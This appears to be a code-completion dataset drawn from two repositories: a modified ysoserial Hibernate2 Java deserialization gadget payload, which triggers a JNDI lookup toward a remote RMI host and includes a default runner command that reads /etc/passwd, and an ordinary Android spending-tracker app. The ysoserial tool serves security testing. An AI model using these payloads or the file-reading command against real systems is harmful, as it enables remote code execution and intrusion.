public static String[] getDependencies () { return Hibernate1.getDependencies(); }
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/Hibernate2.java
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // }
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; import com.sun.rowset.JdbcRowSetImpl;
package ysoserial.payloads; /** * * Another application filter bypass * * Needs a getter invocation that is provided by hibernate here * * javax.naming.InitialContext.InitialContext.lookup() * com.sun.rowset.JdbcRowSetImpl.connect() * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() * org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getHashCode() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.engine.spi.TypedValue.hashCode() * * * Requires: * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * * Arg: * - JNDI name (i.e. rmi:<host>) * * Yields: * - JNDI lookup invocation (e.g. connect to remote RMI) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies { public static String[] getDependencies () { return Hibernate1.getDependencies(); } public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(cmdHelper.getCommand()); return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") ); } public static void main ( final String[] args ) throws Exception {
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // } // Path: src/main/java/ysoserial/payloads/Hibernate2.java import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; import com.sun.rowset.JdbcRowSetImpl; package ysoserial.payloads; /** * * Another application filter bypass * * Needs a getter invocation that is provided by hibernate here * * javax.naming.InitialContext.InitialContext.lookup() * com.sun.rowset.JdbcRowSetImpl.connect() * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() * org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getHashCode() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.engine.spi.TypedValue.hashCode() * * * Requires: * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * * Arg: * - JNDI name (i.e. rmi:<host>) * * Yields: * - JNDI lookup invocation (e.g. connect to remote RMI) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies { public static String[] getDependencies () { return Hibernate1.getDependencies(); } public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(cmdHelper.getCommand()); return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") ); } public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Hibernate2.class, args);
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/View/AddAndEditSpending/AddAndEditSpendingViewModel.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java // @Singleton // public class SpendingRepository { // private final AppDatabase appDatabase; // @Inject // public SpendingRepository(AppDatabase appDatabase) { // this.appDatabase = appDatabase; // } // // public LiveData<List<Spending>> getSpendings(){ // return appDatabase.spendingDao().getSpendingsWithGroups(); // } // // public LiveData<Double> getTotalSpendingQuantity(){ // return appDatabase.spendingDao().getTotalSpendingQuantity(); // } // // public void addSpending(RawSpending s){ // appDatabase.spendingDao().addSpending(s); // } // // public LiveData<List<SpendingGroup>> getSpendingGroups(){ // return appDatabase.spendingGroupDao().getAllSpendingGroups(); // } // // public void deleteSpending(int id){ // appDatabase.spendingDao().deleteSpending(id); // } // }
import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import com.vsahin.moneycim.Model.Repository.SpendingRepository; import java.util.List; import javax.inject.Inject; import androidx.lifecycle.LiveData; import androidx.lifecycle.ViewModel;
package com.vsahin.moneycim.View.AddAndEditSpending; /** * Created by Volkan Şahin on 27.08.2017. */ public class AddAndEditSpendingViewModel extends ViewModel { private SpendingRepository spendingRepository;
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java // @Singleton // public class SpendingRepository { // private final AppDatabase appDatabase; // @Inject // public SpendingRepository(AppDatabase appDatabase) { // this.appDatabase = appDatabase; // } // // public LiveData<List<Spending>> getSpendings(){ // return appDatabase.spendingDao().getSpendingsWithGroups(); // } // // public LiveData<Double> getTotalSpendingQuantity(){ // return appDatabase.spendingDao().getTotalSpendingQuantity(); // } // // public void addSpending(RawSpending s){ // appDatabase.spendingDao().addSpending(s); // } // // public LiveData<List<SpendingGroup>> getSpendingGroups(){ // return appDatabase.spendingGroupDao().getAllSpendingGroups(); // } // // public void deleteSpending(int id){ // appDatabase.spendingDao().deleteSpending(id); // } // } // Path: app/src/main/java/com/vsahin/moneycim/View/AddAndEditSpending/AddAndEditSpendingViewModel.java import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import com.vsahin.moneycim.Model.Repository.SpendingRepository; import java.util.List; import javax.inject.Inject; import androidx.lifecycle.LiveData; import androidx.lifecycle.ViewModel; package com.vsahin.moneycim.View.AddAndEditSpending; /** * Created by Volkan Şahin on 27.08.2017. */ public class AddAndEditSpendingViewModel extends ViewModel { private SpendingRepository spendingRepository;
final LiveData<List<SpendingGroup>> spendingGroups;
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/View/AddAndEditSpending/AddAndEditSpendingViewModel.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java // @Singleton // public class SpendingRepository { // private final AppDatabase appDatabase; // @Inject // public SpendingRepository(AppDatabase appDatabase) { // this.appDatabase = appDatabase; // } // // public LiveData<List<Spending>> getSpendings(){ // return appDatabase.spendingDao().getSpendingsWithGroups(); // } // // public LiveData<Double> getTotalSpendingQuantity(){ // return appDatabase.spendingDao().getTotalSpendingQuantity(); // } // // public void addSpending(RawSpending s){ // appDatabase.spendingDao().addSpending(s); // } // // public LiveData<List<SpendingGroup>> getSpendingGroups(){ // return appDatabase.spendingGroupDao().getAllSpendingGroups(); // } // // public void deleteSpending(int id){ // appDatabase.spendingDao().deleteSpending(id); // } // }
import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import com.vsahin.moneycim.Model.Repository.SpendingRepository; import java.util.List; import javax.inject.Inject; import androidx.lifecycle.LiveData; import androidx.lifecycle.ViewModel;
package com.vsahin.moneycim.View.AddAndEditSpending; /** * Created by Volkan Şahin on 27.08.2017. */ public class AddAndEditSpendingViewModel extends ViewModel { private SpendingRepository spendingRepository; final LiveData<List<SpendingGroup>> spendingGroups; @Inject public AddAndEditSpendingViewModel(SpendingRepository spendingRepository) { this.spendingRepository = spendingRepository; spendingGroups = getSpendingGroups(); } private LiveData<List<SpendingGroup>> getSpendingGroups() { return spendingRepository.getSpendingGroups(); }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java // @Singleton // public class SpendingRepository { // private final AppDatabase appDatabase; // @Inject // public SpendingRepository(AppDatabase appDatabase) { // this.appDatabase = appDatabase; // } // // public LiveData<List<Spending>> getSpendings(){ // return appDatabase.spendingDao().getSpendingsWithGroups(); // } // // public LiveData<Double> getTotalSpendingQuantity(){ // return appDatabase.spendingDao().getTotalSpendingQuantity(); // } // // public void addSpending(RawSpending s){ // appDatabase.spendingDao().addSpending(s); // } // // public LiveData<List<SpendingGroup>> getSpendingGroups(){ // return appDatabase.spendingGroupDao().getAllSpendingGroups(); // } // // public void deleteSpending(int id){ // appDatabase.spendingDao().deleteSpending(id); // } // } // Path: app/src/main/java/com/vsahin/moneycim/View/AddAndEditSpending/AddAndEditSpendingViewModel.java import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import com.vsahin.moneycim.Model.Repository.SpendingRepository; import java.util.List; import javax.inject.Inject; import androidx.lifecycle.LiveData; import androidx.lifecycle.ViewModel; package com.vsahin.moneycim.View.AddAndEditSpending; /** * Created by Volkan Şahin on 27.08.2017. */ public class AddAndEditSpendingViewModel extends ViewModel { private SpendingRepository spendingRepository; final LiveData<List<SpendingGroup>> spendingGroups; @Inject public AddAndEditSpendingViewModel(SpendingRepository spendingRepository) { this.spendingRepository = spendingRepository; spendingGroups = getSpendingGroups(); } private LiveData<List<SpendingGroup>> getSpendingGroups() { return spendingRepository.getSpendingGroups(); }
void addSpending(RawSpending s){
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java // @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) // @TypeConverters({Converters.class}) // public abstract class AppDatabase extends RoomDatabase{ // // public abstract SpendingDao spendingDao(); // public abstract SpendingGroupDao spendingGroupDao(); // // }
import android.app.Application; import com.vsahin.moneycim.Model.Database.AppDatabase; import javax.inject.Singleton; import androidx.annotation.NonNull; import androidx.room.Room; import androidx.room.RoomDatabase; import androidx.sqlite.db.SupportSQLiteDatabase; import dagger.Module; import dagger.Provides;
package com.vsahin.moneycim.Di.Modules; @Module public class DataModule { @Singleton @Provides
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java // @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) // @TypeConverters({Converters.class}) // public abstract class AppDatabase extends RoomDatabase{ // // public abstract SpendingDao spendingDao(); // public abstract SpendingGroupDao spendingGroupDao(); // // } // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java import android.app.Application; import com.vsahin.moneycim.Model.Database.AppDatabase; import javax.inject.Singleton; import androidx.annotation.NonNull; import androidx.room.Room; import androidx.room.RoomDatabase; import androidx.sqlite.db.SupportSQLiteDatabase; import dagger.Module; import dagger.Provides; package com.vsahin.moneycim.Di.Modules; @Module public class DataModule { @Singleton @Provides
AppDatabase provideAppDatabase(Application application){
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java // @Module // public abstract class ActivityBuilder { // // @ActivityScope // @ContributesAndroidInjector // abstract MainActivity mainActivity(); // // @ActivityScope // @ContributesAndroidInjector // abstract OcrCaptureActivity ocrCaptureActivity(); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java // @Module // public class DataModule { // // @Singleton // @Provides // AppDatabase provideAppDatabase(Application application){ // return Room.databaseBuilder(application, AppDatabase.class, "app_database") // .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() { // @Override // public void onCreate(@NonNull SupportSQLiteDatabase db) { // super.onCreate(db); // String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')"; // db.execSQL(query); // } // // @Override // public void onOpen(@NonNull SupportSQLiteDatabase db) { // super.onOpen(db); // } // }) // .build(); // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java // @Module // public abstract class AppModule { // // @Binds // @Singleton // abstract Application application(MoneycimApp app); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java // @Module // public abstract class FragmentBuilder { // // @FragmentScope // @ContributesAndroidInjector // abstract SpendingListFragment spendingListFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract AddAndEditSpendingFragment addAndEditSpendingFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment(); // } // // Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java // public class MoneycimApp extends DaggerApplication { // @Override // protected AndroidInjector<? extends DaggerApplication> applicationInjector() { // return DaggerAppComponent.builder().create(this); // } // }
import com.vsahin.moneycim.Di.Modules.ActivityBuilder; import com.vsahin.moneycim.Di.Modules.DataModule; import com.vsahin.moneycim.Di.Modules.AppModule; import com.vsahin.moneycim.Di.Modules.FragmentBuilder; import com.vsahin.moneycim.Di.Modules.ViewModelModule; import com.vsahin.moneycim.MoneycimApp; import javax.inject.Singleton; import dagger.Component; import dagger.android.AndroidInjector; import dagger.android.support.AndroidSupportInjectionModule;
package com.vsahin.moneycim.Di; /** * Created by Volkan Şahin on 18.08.2017. */ @Singleton @Component(modules = { AndroidSupportInjectionModule.class,
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java // @Module // public abstract class ActivityBuilder { // // @ActivityScope // @ContributesAndroidInjector // abstract MainActivity mainActivity(); // // @ActivityScope // @ContributesAndroidInjector // abstract OcrCaptureActivity ocrCaptureActivity(); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java // @Module // public class DataModule { // // @Singleton // @Provides // AppDatabase provideAppDatabase(Application application){ // return Room.databaseBuilder(application, AppDatabase.class, "app_database") // .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() { // @Override // public void onCreate(@NonNull SupportSQLiteDatabase db) { // super.onCreate(db); // String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')"; // db.execSQL(query); // } // // @Override // public void onOpen(@NonNull SupportSQLiteDatabase db) { // super.onOpen(db); // } // }) // .build(); // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java // @Module // public abstract class AppModule { // // @Binds // @Singleton // abstract Application application(MoneycimApp app); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java // @Module // public abstract class FragmentBuilder { // // @FragmentScope // @ContributesAndroidInjector // abstract SpendingListFragment spendingListFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract AddAndEditSpendingFragment addAndEditSpendingFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment(); // } // // Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java // public class MoneycimApp extends DaggerApplication { // @Override // protected AndroidInjector<? extends DaggerApplication> applicationInjector() { // return DaggerAppComponent.builder().create(this); // } // } // Path: app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java import com.vsahin.moneycim.Di.Modules.ActivityBuilder; import com.vsahin.moneycim.Di.Modules.DataModule; import com.vsahin.moneycim.Di.Modules.AppModule; import com.vsahin.moneycim.Di.Modules.FragmentBuilder; import com.vsahin.moneycim.Di.Modules.ViewModelModule; import com.vsahin.moneycim.MoneycimApp; import javax.inject.Singleton; import dagger.Component; import dagger.android.AndroidInjector; import dagger.android.support.AndroidSupportInjectionModule; package com.vsahin.moneycim.Di; /** * Created by Volkan Şahin on 18.08.2017. */ @Singleton @Component(modules = { AndroidSupportInjectionModule.class,
AppModule.class,
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java // @Module // public abstract class ActivityBuilder { // // @ActivityScope // @ContributesAndroidInjector // abstract MainActivity mainActivity(); // // @ActivityScope // @ContributesAndroidInjector // abstract OcrCaptureActivity ocrCaptureActivity(); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java // @Module // public class DataModule { // // @Singleton // @Provides // AppDatabase provideAppDatabase(Application application){ // return Room.databaseBuilder(application, AppDatabase.class, "app_database") // .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() { // @Override // public void onCreate(@NonNull SupportSQLiteDatabase db) { // super.onCreate(db); // String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')"; // db.execSQL(query); // } // // @Override // public void onOpen(@NonNull SupportSQLiteDatabase db) { // super.onOpen(db); // } // }) // .build(); // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java // @Module // public abstract class AppModule { // // @Binds // @Singleton // abstract Application application(MoneycimApp app); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java // @Module // public abstract class FragmentBuilder { // // @FragmentScope // @ContributesAndroidInjector // abstract SpendingListFragment spendingListFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract AddAndEditSpendingFragment addAndEditSpendingFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment(); // } // // Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java // public class MoneycimApp extends DaggerApplication { // @Override // protected AndroidInjector<? extends DaggerApplication> applicationInjector() { // return DaggerAppComponent.builder().create(this); // } // }
import com.vsahin.moneycim.Di.Modules.ActivityBuilder; import com.vsahin.moneycim.Di.Modules.DataModule; import com.vsahin.moneycim.Di.Modules.AppModule; import com.vsahin.moneycim.Di.Modules.FragmentBuilder; import com.vsahin.moneycim.Di.Modules.ViewModelModule; import com.vsahin.moneycim.MoneycimApp; import javax.inject.Singleton; import dagger.Component; import dagger.android.AndroidInjector; import dagger.android.support.AndroidSupportInjectionModule;
package com.vsahin.moneycim.Di; /** * Created by Volkan Şahin on 18.08.2017. */ @Singleton @Component(modules = { AndroidSupportInjectionModule.class, AppModule.class,
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java // @Module // public abstract class ActivityBuilder { // // @ActivityScope // @ContributesAndroidInjector // abstract MainActivity mainActivity(); // // @ActivityScope // @ContributesAndroidInjector // abstract OcrCaptureActivity ocrCaptureActivity(); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java // @Module // public class DataModule { // // @Singleton // @Provides // AppDatabase provideAppDatabase(Application application){ // return Room.databaseBuilder(application, AppDatabase.class, "app_database") // .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() { // @Override // public void onCreate(@NonNull SupportSQLiteDatabase db) { // super.onCreate(db); // String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')"; // db.execSQL(query); // } // // @Override // public void onOpen(@NonNull SupportSQLiteDatabase db) { // super.onOpen(db); // } // }) // .build(); // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java // @Module // public abstract class AppModule { // // @Binds // @Singleton // abstract Application application(MoneycimApp app); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java // @Module // public abstract class FragmentBuilder { // // @FragmentScope // @ContributesAndroidInjector // abstract SpendingListFragment spendingListFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract AddAndEditSpendingFragment addAndEditSpendingFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment(); // } // // Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java // public class MoneycimApp extends DaggerApplication { // @Override // protected AndroidInjector<? extends DaggerApplication> applicationInjector() { // return DaggerAppComponent.builder().create(this); // } // } // Path: app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java import com.vsahin.moneycim.Di.Modules.ActivityBuilder; import com.vsahin.moneycim.Di.Modules.DataModule; import com.vsahin.moneycim.Di.Modules.AppModule; import com.vsahin.moneycim.Di.Modules.FragmentBuilder; import com.vsahin.moneycim.Di.Modules.ViewModelModule; import com.vsahin.moneycim.MoneycimApp; import javax.inject.Singleton; import dagger.Component; import dagger.android.AndroidInjector; import dagger.android.support.AndroidSupportInjectionModule; package com.vsahin.moneycim.Di; /** * Created by Volkan Şahin on 18.08.2017. */ @Singleton @Component(modules = { AndroidSupportInjectionModule.class, AppModule.class,
ActivityBuilder.class,
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java
